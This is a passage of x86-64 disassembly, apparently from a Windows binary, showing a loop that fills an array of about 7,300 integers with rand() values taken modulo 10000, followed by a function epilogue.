mov qword [rbp + 0x200], rax
mov dword [rbp + 0x41c], 0
jmp 0x140002bd3
call sym.rand
mov edx, dword [rbp + 0x41c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x200]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x41c], 1
cmp dword [rbp + 0x41c], 0x1c77
jle 0x140002b86
mov dword [rbp + 0x41c], 0
jmp 0x140002ce1
mov eax, 0
movups xmm6, xmmword [rbp + 0x4b0]
add rsp, 0x548
pop rbx
pop rbp
ret